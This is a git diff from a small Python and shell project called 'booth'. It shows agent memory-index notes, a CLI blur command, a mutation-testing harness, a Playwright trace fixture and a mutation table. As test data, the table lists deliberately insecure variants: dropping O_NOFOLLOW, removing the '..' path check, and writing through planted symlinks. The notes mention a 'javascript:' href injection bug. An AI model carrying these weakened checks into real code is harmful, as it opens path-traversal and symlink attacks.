- `[2026-09-23]` ⚠ **The cache that aged the thing it cached** — thumbnails 77.5MB→0.78MB; READ BEFORE PARKING ANYTHING ON A MEASUREMENT (we counted images and the cost was in bytes), and BEFORE PUTTING A SERVER-WRITTEN CACHE INSIDE A BOOTH (excluding its contents does not stop it aging the booth) → `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
|
||||
- `[2026-09-23]` ⚠ **The probe that nearly dismissed a live injection vector** — the link board rendered `javascript:` hrefs; READ BEFORE TRUSTING A NEGATIVE RESULT FROM AN OBVIOUS PROBE, and before assuming an existing scheme check is the guard you are looking for → `persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md`
|
||||
- `[2026-09-23]` ✅ **The bug-hunt panel found six defects and five vacuous falsifiers** — READ BEFORE BUILDING ANY FRAGMENT ANCHOR (browsers match raw before decoded, so both sides must be encoded), and before trusting a well-commented diff's guards → `persistent-memory.d/2026-09-23-the-bug-hunt-panel-and-five-vacuous-falsifiers.md`
|
||||
- `[2026-09-22]` ✅ **v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies** — READ BEFORE DERIVING A VERSION FROM `importlib.metadata` HERE; it reports a different artifact, and `booth/__init__.py` turns out to be stdlib-only → `persistent-memory.d/2026-09-22-v1-staged-as-a-beta-and-a-second-copy-of-the-version.md`
|
||||
- `[2026-09-22]` ✅ **U7 landed — and the number that justified it did not reproduce** — all seven v1 units are in; READ BEFORE TRUSTING A MEASUREMENT INSIDE A CONTRACT, and before assuming a degeneracy guard covers the degeneracy you actually have → `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`
|
||||
- `[2026-09-22]` ⚠ **A mutation harness certified a broken test, twice, for two reasons** — no green baseline, and the pyc cache silently reverting same-size mutations; READ BEFORE WRITING ONE → `persistent-memory.d/2026-09-22-a-mutation-harness-that-certified-a-broken-test.md`
|
||||
- `[2026-09-22]` 🛑 **STANDING: no announcements out of this repo until the arc is done, and he sends that one himself** — verbatim *"no announcements until the entire arc is done, and even then i'll do it myself."* Stricter than the house broadcast gate: the send is not the agent's to make, so **asking is also out of scope**. The drafted 17-handle note is REASSIGNED to him, not blocked — see the in-flight row above; do not raise it again.
|
||||
@@ -132,6 +148,9 @@ _As of 2026-09-22:_
|
||||
|
||||
## Tried and abandoned
|
||||
|
||||
- `[2026-09-24]` **The blur writer building on the renderer's lenient reader** — an unreadable file read as empty was then overwritten; the 09-21 marks lesson below, repeated in a new module and live one night. Fixed in `8a78a9b`.
|
||||
- `[2026-09-23]` **Writing a new format into the old file name and sniffing it** — a legacy line naming `["a.png"]` parses as JSON and blurs the neighbour (heid 3/3). A format change gets a new name (`c1f5543`).
|
||||
- `[2026-09-23]` **Verifying the live service by GETting every booth page** — each GET records a look. It emptied "new since you looked" and scrambled the Desk. Check pages on a copy.
|
||||
- `[2026-09-21]` **Tagging a release while a review gate was in flight** — cost a same-hour v0.2.1 and a correction to 15 handles → `persistent-memory.d/2026-09-21-tagging-with-a-gate-in-flight.md`
|
||||
- `[2026-09-21]` **Letting the write path share the read path's leniency** — a tolerant reader and a tolerant writer are not the same decision → `persistent-memory.d/2026-09-21-tolerant-writer-over-tolerant-reader.md`
|
||||
- `[2026-09-21]` **Letting Jinja hot-reload templates in the deployment root** — caused a live outage: 19 of 25 booths at 500. Why auto_reload=False → `persistent-memory.d/2026-09-21-jinja-hot-reload-outage.md`
|
||||
|
||||
@@ -9,6 +9,7 @@ dependencies = [
|
||||
"jinja2>=3.1",
|
||||
"python-multipart>=0.0.9",
|
||||
"markdown>=3.5",
|
||||
"pillow>=10.0",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
|
||||
+62
-17
@@ -144,7 +144,6 @@ set -euo pipefail
|
||||
DATA="${BOOTH_DATA_DIR:-$HOME/booth-data}"
|
||||
URL="${BOOTH_URL:-http://10.100.10.50:8090}"
|
||||
KEEP=".forever" # must match KEEP_MARKER in booth/app.py
|
||||
BLUR=".blurred" # one booth-relative item path per line; see `blur` below
|
||||
LINKS_BOARD="${BOOTH_LINKS_BOARD:-links}"
|
||||
|
||||
# `--why` / `--title` for `new` and `add`. Pulled out of "$@" wherever they
|
||||
@@ -240,7 +239,7 @@ sys.stdout.write("N" if name is None else "B:" + name)
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo "usage: booth {new <name> [--why W] [--title T]|add <name> <file>... [--why W] [--title T]|url <name>|ls|rm <name>|keep <name>|unkeep <name>|blur <name> <file>...|unblur <name> <file>...|link <url> [description]|links|unlink <id|index>|ask <name> <id> <prompt> <option>... [--no-notes]|marks <name> [--wait [SECS]]|asks <name> (deprecated alias for marks)|answer <name> <id> [--wait [SECS]]|marks-import <name>|bench add <url> <name>|bench ls|bench state <id|url> <live|promoted|retired>|bench rm <id|url>|bench import [--apply <id>...]}" >&2
|
||||
echo "usage: booth {new <name> [--why W] [--title T]|add <name> <file>... [--why W] [--title T]|url <name>|ls|rm <name>|keep <name>|unkeep <name>|blur <name> [<file>...]|unblur <name> [<file>...]|link <url> [description]|links|unlink <id|index>|ask <name> <id> <prompt> <option>... [--no-notes]|marks <name> [--wait [SECS]]|asks <name> (deprecated alias for marks)|answer <name> <id> [--wait [SECS]]|marks-import <name>|bench add <url> <name>|bench ls|bench state <id|url> <live|promoted|retired>|bench rm <id|url>|bench import [--apply <id>...]}" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
@@ -303,27 +302,73 @@ case "$cmd" in
|
||||
# screen-share, a scroll past something you did not want full-size. The
|
||||
# Booth has no auth by design: if a thing must not be SEEN, it must not be
|
||||
# in a booth.
|
||||
[ $# -ge 2 ] || usage
|
||||
[ $# -ge 1 ] || usage
|
||||
b="$1"; shift
|
||||
[ -d "$DATA/$b" ] || { echo "no such booth: $b" >&2; exit 1; }
|
||||
f="$DATA/$b/$BLUR"
|
||||
for item in "$@"; do
|
||||
item="${item#"$DATA/$b/"}"; item="${item#/}"
|
||||
case "$item" in
|
||||
*..*) echo "refusing path with '..': $item" >&2; exit 2 ;;
|
||||
esac
|
||||
[ -e "$DATA/$b/$item" ] || echo "warning: no such item in $b: $item" >&2
|
||||
touch "$f"
|
||||
|
||||
# NO FILES NAMED = THE WHOLE BOOTH. The Desk shows up to four images from
|
||||
# every booth on the page the operator opens first, so a booth that should
|
||||
# not be glanced at needs to say so as a BOOTH, not item by item — and the
|
||||
# session that posts it is the one that knows.
|
||||
#
|
||||
# A marker, and it COMPOSES with the per-item list rather than replacing
|
||||
# it: `unblur <name>` clears the booth flag and leaves individual choices
|
||||
# exactly as they were.
|
||||
if [ $# -eq 0 ]; then
|
||||
if [ "$cmd" = blur ]; then
|
||||
grep -qxF -- "$item" "$f" || printf '%s\n' "$item" >> "$f"
|
||||
touch "$DATA/$b/.blurbooth"
|
||||
echo "whole booth blurred (cosmetic — still served): $URL/b/$b/"
|
||||
else
|
||||
grep -vxF -- "$item" "$f" > "$f.tmp" || true
|
||||
mv -- "$f.tmp" "$f"
|
||||
rm -f -- "$DATA/$b/.blurbooth"
|
||||
echo "whole booth un-blurred (per-item blur kept): $URL/b/$b/"
|
||||
fi
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Items are made booth-relative here; WHETHER each one is an item path is
|
||||
# booth.blur.check_rel's call, the same predicate the web route uses, so
|
||||
# `booth blur g a..b.png` and the operator's click agree. (A `*..*`
|
||||
# substring test here refused `a..b.png`, which the route accepted.)
|
||||
items=()
|
||||
for item in "$@"; do
|
||||
item="${item#"$DATA/$b/"}"
|
||||
[ -e "$DATA/$b/$item" ] || echo "warning: no such item in $b: $item" >&2
|
||||
items+=("$item")
|
||||
done
|
||||
# An empty marker is a lie by omission — `ls -a` should say whether
|
||||
# anything here is blurred at all.
|
||||
[ -s "$f" ] || rm -f -- "$f"
|
||||
# ONE WRITER. `.blurred.json` is a JSON array (a rel may carry a leading
|
||||
# space or a newline, which the old `.blurred` line format could not
|
||||
# round-trip), and the service writes it too, so the CLI goes through the
|
||||
# same stdlib-only booth.blur, never a grep/printf of its own. Items travel
|
||||
# as argv, which carries any byte but NUL. EVERY item is checked before ANY
|
||||
# is written, so a refused path leaves the blur set exactly as it was.
|
||||
# Exit 2: an item path refused. Exit 3: nothing written, and why (the
|
||||
# package is missing, or something that is not a file is in the way).
|
||||
BOOTH_SRC="$(booth_src)" BOOTH_DIR="$DATA/$b" python3 -c '
|
||||
import os, sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, os.environ["BOOTH_SRC"])
|
||||
try:
|
||||
from booth.blur import BlurUnwritable, check_rel, set_blurred # stdlib only
|
||||
except ImportError as exc:
|
||||
src = os.environ["BOOTH_SRC"]
|
||||
sys.stderr.write(f"booth blur: cannot load booth.blur from {src} ({exc}).\n"
|
||||
" Run the booth script from its checkout, beside its booth/ package. Nothing was changed.\n")
|
||||
sys.exit(3)
|
||||
on = sys.argv[1] == "blur"
|
||||
rels = [r.lstrip("/") for r in sys.argv[2:]]
|
||||
for rel in rels:
|
||||
try:
|
||||
check_rel(rel)
|
||||
except ValueError as exc:
|
||||
sys.stderr.write(f"booth blur: refusing {rel!r}: {exc}. Nothing was changed.\n")
|
||||
sys.exit(2)
|
||||
for rel in rels:
|
||||
try:
|
||||
set_blurred(Path(os.environ["BOOTH_DIR"]), rel, on)
|
||||
except BlurUnwritable as exc:
|
||||
sys.stderr.write(f"booth blur: {exc}\n")
|
||||
sys.exit(3)
|
||||
' "$cmd" "${items[@]}"
|
||||
if [ "$cmd" = blur ]; then
|
||||
echo "blurred (cosmetic — still served): $URL/b/$b/"
|
||||
else
|
||||
|
||||
Executable
+139
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Prove a falsifier falsifies, by running the change it forbids.
|
||||
|
||||
A green test is not evidence. A test that has never seen its own DEFEATING
|
||||
CHANGE is only evidence that the code and the assertion agree today; it may
|
||||
agree under the mutation too, in which case it forbids nothing and reads as
|
||||
though it forbids something. This repo has shipped that three times --
|
||||
persistent-memory.d/2026-09-22-vacuous-falsifiers.md,
|
||||
persistent-memory.d/2026-09-22-seven-of-seven-falsifiers.md, and once more in
|
||||
U7 an hour after the second was written.
|
||||
|
||||
So: for each declared mutation, apply it to the source, run the one test that
|
||||
claims to catch it, and require RED. Revert either way.
|
||||
|
||||
.venv/bin/python scripts/mutation_check.py # every table
|
||||
.venv/bin/python scripts/mutation_check.py u7_navigation # one table
|
||||
|
||||
Tables live in tests/mutations/*.toml and are committed, so a unit's proofs are
|
||||
an artifact rather than terminal scrollback. Adding a unit means adding a file,
|
||||
never editing this script.
|
||||
|
||||
⚠ TWO DEFECTS THIS TOOL HAD, both of which made it CERTIFY A FALSIFIER WITHOUT
|
||||
RUNNING IT. Neither is obvious and both cost real time:
|
||||
|
||||
1. NO GREEN BASELINE. A test that is ALREADY red reports red for every mutation
|
||||
thrown at it, so a broken assertion reads as a proven falsifier. Every run
|
||||
now checks the test passes unmutated first; a red baseline is a harness
|
||||
failure, reported as such, never as a proof.
|
||||
|
||||
2. THE BYTECODE CACHE. `< 2` -> `< 1` is BYTE-IDENTICAL IN SIZE, and CPython
|
||||
validates a .pyc against the source's (mtime, size) at ONE-SECOND
|
||||
granularity -- so a mutation landing in the same second as the revert before
|
||||
it is invisible and the unmutated code runs. The tell was a verdict that
|
||||
flipped between consecutive runs with nothing changed. Caches are dropped
|
||||
and PYTHONDONTWRITEBYTECODE is set for every run. This biases toward exactly
|
||||
the mutations most worth making: comparison flips, off-by-one constants,
|
||||
and/or swaps.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tomllib
|
||||
from pathlib import Path
|
||||
|
||||
REPO = Path(__file__).resolve().parent.parent
|
||||
TABLES = REPO / "tests" / "mutations"
|
||||
# Written before a source file is touched and removed after it is restored. Its
|
||||
# presence at startup means a previous run died between the two -- a `kill -9`
|
||||
# mid-mutation leaves a mutated tracked file that looks like authored code.
|
||||
INFLIGHT = REPO / ".mutation-inflight"
|
||||
|
||||
|
||||
def run(test: str, repo: Path = REPO) -> int:
|
||||
"""Exit code of one test, with the bytecode cache defeated. See defect 2."""
|
||||
for cache in repo.rglob("__pycache__"):
|
||||
shutil.rmtree(cache, ignore_errors=True)
|
||||
return subprocess.run(
|
||||
[sys.executable, "-m", "pytest", test, "-q", "--no-header", "-p", "no:warnings"],
|
||||
cwd=repo, capture_output=True, text=True,
|
||||
env=dict(os.environ, PYTHONDONTWRITEBYTECODE="1"),
|
||||
).returncode
|
||||
|
||||
|
||||
def check(mutation: dict, repo: Path = REPO) -> tuple[bool, str]:
|
||||
"""(proved, note) for one mutation. Never leaves the source mutated.
|
||||
|
||||
`repo` is a parameter so the harness can be pointed at a throwaway tree and
|
||||
given KNOWN-vacuous and KNOWN-good falsifiers — see
|
||||
tests/test_mutation_check.py. An instrument that only ever sees unknowns
|
||||
cannot tell "nothing wrong here" from "I am blind", which is the whole of
|
||||
CLAUDE.md's positive-control rule applied to the tool that enforces it."""
|
||||
test = mutation["test"]
|
||||
path = repo / mutation["file"]
|
||||
|
||||
if run(test, repo) != 0:
|
||||
return False, f"BASELINE RED — {test} fails BEFORE the mutation"
|
||||
|
||||
src = path.read_text()
|
||||
if mutation["old"] not in src:
|
||||
return False, f"anchor not found in {mutation['file']} — the table has drifted"
|
||||
|
||||
INFLIGHT.write_text(f"{path}\n")
|
||||
stat = path.stat() # mtime included; see the restore below
|
||||
try:
|
||||
path.write_text(src.replace(mutation["old"], mutation["new"], 1))
|
||||
red = run(test, repo) != 0
|
||||
finally:
|
||||
path.write_text(src)
|
||||
# Verified, not assumed: a restore that silently failed would leave a
|
||||
# mutation in a tracked file and the next run would measure it.
|
||||
assert path.read_text() == src, f"RESTORE FAILED for {path} — fix by hand"
|
||||
# ⚠ AND THE MTIME, which matters more here than it would elsewhere.
|
||||
# This repo IS its own deployment root and nothing takes effect until
|
||||
# the service restarts, so "is :8090 stale?" is answered by comparing
|
||||
# the service's start time against source mtimes. A tool that churns
|
||||
# those mtimes without changing a byte makes that check lie — it
|
||||
# reported the live service 16 minutes stale when it was current.
|
||||
os.utime(path, ns=(stat.st_atime_ns, stat.st_mtime_ns))
|
||||
INFLIGHT.unlink(missing_ok=True)
|
||||
|
||||
return red, "" if red else "VACUOUS — stayed green under the change it forbids"
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
if INFLIGHT.exists():
|
||||
print(f"refusing to run: {INFLIGHT} exists, so a previous run died mid-mutation.")
|
||||
print(f"check `git diff {INFLIGHT.read_text().strip()}`, restore it, then delete the marker.")
|
||||
return 2
|
||||
|
||||
wanted = argv[1:] or None
|
||||
tables = sorted(TABLES.glob("*.toml"))
|
||||
if wanted:
|
||||
tables = [t for t in tables if t.stem in wanted]
|
||||
if not tables:
|
||||
print(f"no table matching {wanted} in {TABLES}")
|
||||
return 2
|
||||
|
||||
failed = []
|
||||
for table in tables:
|
||||
doc = tomllib.loads(table.read_text())
|
||||
print(f"\n### {table.stem} — {doc.get('unit', '')}")
|
||||
for m in doc.get("mutation", []):
|
||||
proved, note = check(m)
|
||||
print(f"{' proved' if proved else ' NOT PROVED':14s} {m['label']}")
|
||||
if not proved:
|
||||
print(f"{'':14s} ^ {note}")
|
||||
failed.append(m["label"])
|
||||
|
||||
total = sum(len(tomllib.loads(t.read_text()).get("mutation", [])) for t in tables)
|
||||
print(f"\n{total - len(failed)}/{total} falsifiers proved by running the change they forbid")
|
||||
return 1 if failed else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main(sys.argv))
|
||||
@@ -0,0 +1,135 @@
|
||||
"""Browser-test failure artefacts: a Playwright trace kept for every browser
|
||||
test that FAILS, captured from the run that failed.
|
||||
|
||||
Why this exists: the browser tests flake under FULL-SUITE load only — three
|
||||
different tests have each failed once, every one passes in isolation, and a
|
||||
narrowed repro that passes is the trap (operator, 2026-09-23: "let him diagnose
|
||||
it properly"). Pass/fail counts cannot say why; a trace — screenshots, DOM
|
||||
snapshots, console and network per action — can.
|
||||
|
||||
OPT-IN, because tracing is not free and the harness is part of the number:
|
||||
with it on, every page does more work, so the suite's timing (the very thing
|
||||
under suspicion) moves. Default runs are untouched.
|
||||
|
||||
BOOTH_TRACE=1 .venv/bin/python -m pytest -q # screenshots + DOM snapshots
|
||||
BOOTH_TRACE=light .venv/bin/python -m pytest -q # actions + network only
|
||||
|
||||
LIGHT exists because the full mode perturbs the thing it watches: 8 traced
|
||||
full-suite runs went 8/8 green while untraced runs on the same tree went red.
|
||||
Network and action records are nearly free, and a goto that never reaches
|
||||
"networkidle" is answered by the network record alone — which request never
|
||||
finished.
|
||||
|
||||
Traces land in $BOOTH_TRACE_DIR (default: <tmp>/booth-test-traces/<run>/),
|
||||
named after the test; open one with `playwright show-trace <file>`. The
|
||||
terminal summary lists every trace kept.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
TRACE_MODE = os.environ.get("BOOTH_TRACE", "")
|
||||
TRACE = TRACE_MODE in ("1", "light")
|
||||
_KEPT: list[Path] = []
|
||||
|
||||
|
||||
@pytest.hookimpl(hookwrapper=True)
|
||||
def pytest_runtest_makereport(item, call):
|
||||
outcome = yield
|
||||
rep = outcome.get_result()
|
||||
setattr(item, "rep_" + rep.when, rep)
|
||||
|
||||
|
||||
def _trace_dir() -> Path:
|
||||
root = os.environ.get("BOOTH_TRACE_DIR") or os.path.join(tempfile.gettempdir(), "booth-test-traces")
|
||||
d = Path(root) / time.strftime("%Y%m%d-%H%M%S", time.localtime(_RUN_STARTED))
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
return d
|
||||
|
||||
|
||||
_RUN_STARTED = time.time()
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _trace_browser_tests(request):
|
||||
"""Wrap the module's `browser` so every context it opens is traced.
|
||||
|
||||
A test usually closes its page BEFORE asserting (it collects, closes, then
|
||||
checks), and a closed context can no longer write its trace — so each
|
||||
context's trace is written at close time, to a scratch file, and only moved
|
||||
to the kept set if the test then fails. A page from `browser.new_page` owns
|
||||
its context, as Playwright's own does: closing the page closes it."""
|
||||
if not TRACE or "browser" not in request.fixturenames:
|
||||
yield
|
||||
return
|
||||
browser = request.getfixturevalue("browser")
|
||||
scratch = Path(tempfile.mkdtemp(prefix="booth-trace-"))
|
||||
written: list[Path] = []
|
||||
opened: list = []
|
||||
real_new_context = browser.new_context
|
||||
|
||||
def stop(ctx, n=[0]):
|
||||
if getattr(ctx, "_booth_traced", False):
|
||||
ctx._booth_traced = False
|
||||
n[0] += 1
|
||||
path = scratch / f"{n[0]}.zip"
|
||||
try:
|
||||
ctx.tracing.stop(path=str(path))
|
||||
written.append(path)
|
||||
except Exception: # noqa: BLE001 - a lost trace must not fail the test
|
||||
pass
|
||||
|
||||
def new_context(*args, **kwargs):
|
||||
ctx = real_new_context(*args, **kwargs)
|
||||
heavy = TRACE_MODE == "1"
|
||||
ctx.tracing.start(screenshots=heavy, snapshots=heavy)
|
||||
ctx._booth_traced = True
|
||||
real_close = ctx.close
|
||||
|
||||
def close(*a, **k):
|
||||
stop(ctx)
|
||||
return real_close(*a, **k)
|
||||
|
||||
ctx.close = close
|
||||
opened.append(ctx)
|
||||
return ctx
|
||||
|
||||
def new_page(*args, **kwargs):
|
||||
ctx = new_context(*args, **kwargs)
|
||||
page = ctx.new_page()
|
||||
page.close = lambda *a, **k: ctx.close()
|
||||
return page
|
||||
|
||||
browser.new_context, browser.new_page = new_context, new_page
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
del browser.new_context, browser.new_page
|
||||
for ctx in opened:
|
||||
stop(ctx)
|
||||
try:
|
||||
ctx.close()
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
rep = getattr(request.node, "rep_call", None)
|
||||
if rep is not None and rep.failed and written:
|
||||
dest = _trace_dir()
|
||||
for i, path in enumerate(written, 1):
|
||||
kept = dest / f"{request.node.name}-{i}.zip"
|
||||
shutil.move(str(path), kept)
|
||||
_KEPT.append(kept)
|
||||
shutil.rmtree(scratch, ignore_errors=True)
|
||||
|
||||
|
||||
def pytest_terminal_summary(terminalreporter):
|
||||
if _KEPT:
|
||||
terminalreporter.section("browser traces kept for failed tests")
|
||||
for p in _KEPT:
|
||||
terminalreporter.write_line(str(p))
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,260 @@
|
||||
# Per-item blur storage: `.blurred` round-trips any rel, whoever writes it.
|
||||
# The fix for the wrong-item write the heid bug-hunt found through r2b merge 1
|
||||
# (a stripped rel blurred its neighbour), operator-ruled 2026-09-23. Every row
|
||||
# is a change tests/test_blur.py claims to forbid.
|
||||
#
|
||||
# NOT here, on purpose: the S_ISREG guard in read_blurred. With O_NONBLOCK a
|
||||
# FIFO opens and reads as EOF, a symlink is already refused by O_NOFOLLOW, and a
|
||||
# device node needs root to plant, so no test here can see that guard go. It
|
||||
# stays as the `.seen` shape, and it is not claimed as a proven falsifier.
|
||||
|
||||
unit = "blur storage round-trip"
|
||||
|
||||
[[mutation]]
|
||||
label = "the writer strips the rel (the old line format's loss)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_leading_space_rel_round_trips"
|
||||
old = '''
|
||||
current.add(rel)'''
|
||||
new = '''
|
||||
current.add(rel.strip())'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the route strips `f` before writing (the reported wrong-item write)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_blur.py::test_the_blur_route_blurs_exactly_the_item_it_names"
|
||||
old = '''
|
||||
rel = f.lstrip("/")'''
|
||||
new = '''
|
||||
rel = f.strip().lstrip("/")'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a JSON-only reader: every live line-format file un-blurs on deploy"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_legacy_line_format_still_reads"
|
||||
old = '''
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}'''
|
||||
new = '''
|
||||
return set()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a legacy file that is not JSON reads as nothing instead of falling back"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_legacy_rel_that_starts_with_a_bracket_still_reads"
|
||||
old = '''
|
||||
if path is legacy:
|
||||
return {ln.strip()'''
|
||||
new = '''
|
||||
if path is legacy:
|
||||
try:
|
||||
json.loads(text)
|
||||
except ValueError:
|
||||
return set()
|
||||
return {ln.strip()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a FIFO blocks the read (no O_NONBLOCK)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_raw_read_never_blocks_on_a_fifo"
|
||||
old = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)'''
|
||||
new = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the read follows a planted symlink (no O_NOFOLLOW)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_raw_read_never_follows_a_link"
|
||||
old = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)'''
|
||||
new = '''
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NONBLOCK)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the write goes through a planted symlink instead of replacing it"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it"
|
||||
old = '''
|
||||
os.replace(tmp, path)'''
|
||||
new = '''
|
||||
path.write_bytes(Path(tmp).read_bytes()); os.unlink(tmp)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the stored order is not the stated one (invariant 6)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_file_is_a_json_array_in_sorted_order"
|
||||
old = '''
|
||||
body = json.dumps(sorted(current), ensure_ascii=False)'''
|
||||
new = '''
|
||||
body = json.dumps(sorted(current, reverse=True), ensure_ascii=False)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the CLI ignores the verb: `unblur` blurs"
|
||||
file = "scripts/booth"
|
||||
test = "tests/test_blur.py::test_the_cli_writes_the_format_the_service_reads"
|
||||
old = '''
|
||||
on = sys.argv[1] == "blur"'''
|
||||
new = '''
|
||||
on = True'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the CLI writes past a refused '..' path (the shared predicate loses its component check)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_cli_still_refuses_a_dotdot_path"
|
||||
old = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
new = '''
|
||||
if not rel or rel.startswith("/"):'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the item's own blur is the composed one (booth fog leaks into it)"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_blur.py::test_the_item_record_carries_its_own_blur_apart_from_the_booths"
|
||||
old = '''
|
||||
blurred_self=rel in blurred,'''
|
||||
new = '''
|
||||
blurred_self=rel in blurred or booth_blur,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "app.py reads the blur file a second time (invariant 3)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_blur.py::test_app_py_never_reads_the_blur_file_itself"
|
||||
old = '''
|
||||
out = []
|
||||
for it in booth_items(child):'''
|
||||
new = '''
|
||||
out = []
|
||||
read_blurred(child)
|
||||
for it in booth_items(child):'''
|
||||
|
||||
# ---- the heid bug-hunt on this change (hulda, regin, kimi), folded -------------
|
||||
|
||||
[[mutation]]
|
||||
label = "the legacy file is sniffed for JSON again (a `[\"a.png\"]` line blurs the neighbour)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_legacy_line_that_is_valid_json_still_reads_as_a_line"
|
||||
old = '''
|
||||
if path is legacy:
|
||||
return {ln.strip()'''
|
||||
new = '''
|
||||
if path is legacy:
|
||||
try:
|
||||
d = json.loads(text)
|
||||
if isinstance(d, list):
|
||||
return {r for r in d if isinstance(r, str)}
|
||||
except ValueError:
|
||||
pass
|
||||
return {ln.strip()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no postcondition: a planted directory's OSError is swallowed as success"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_planted_directory_at_the_blur_file_is_a_refusal_not_a_crash"
|
||||
old = '''
|
||||
if read_blurred(booth) != current:'''
|
||||
new = '''
|
||||
if False:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the route turns a disk-state refusal into a 500"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_blur.py::test_the_route_answers_a_planted_directory_with_409"
|
||||
old = '''
|
||||
raise HTTPException(status_code=409, detail=str(exc))'''
|
||||
new = '''
|
||||
raise'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a lone surrogate from a planted file reaches the writer"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_lone_surrogate_in_the_file_is_skipped_and_writes_still_work"
|
||||
old = '''
|
||||
return {r for r in data if isinstance(r, str) and r and _encodable(r)}'''
|
||||
new = '''
|
||||
return {r for r in data if isinstance(r, str) and r}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the writer writes a set the reader would refuse and read as nothing"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_writer_never_writes_a_set_the_reader_would_refuse"
|
||||
old = '''
|
||||
if len(body) > BLUR_MAX_BYTES:'''
|
||||
new = '''
|
||||
if False:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an empty item path is accepted and stored"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_cli_refuses_an_empty_item_path_before_writing"
|
||||
old = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
new = '''
|
||||
if rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a double dot INSIDE a name is refused (the old `*..*` substring rule)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_cli_accepts_a_double_dot_inside_a_name"
|
||||
old = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):'''
|
||||
new = '''
|
||||
if not rel or rel.startswith("/") or ".." in rel:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the CLI dies with a traceback when its package is missing"
|
||||
file = "scripts/booth"
|
||||
test = "tests/test_blur.py::test_the_cli_fails_closed_without_its_package"
|
||||
old = '''
|
||||
except ImportError as exc:
|
||||
src = os.environ["BOOTH_SRC"]'''
|
||||
new = '''
|
||||
except ZeroDivisionError as exc:
|
||||
src = os.environ["BOOTH_SRC"]'''
|
||||
|
||||
# ---- reads lenient, writes strict (groa's retry; the .marks.json lesson) -------
|
||||
|
||||
[[mutation]]
|
||||
label = "the writer builds on the lenient reader (an unreadable set is overwritten)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_an_unreadable_blur_file_is_never_overwritten"
|
||||
old = '''
|
||||
current = _load(booth)'''
|
||||
new = '''
|
||||
current = read_blurred(booth)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unreadable or oversized regular file reads as empty for the writer"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_an_oversized_blur_file_is_never_overwritten"
|
||||
old = '''
|
||||
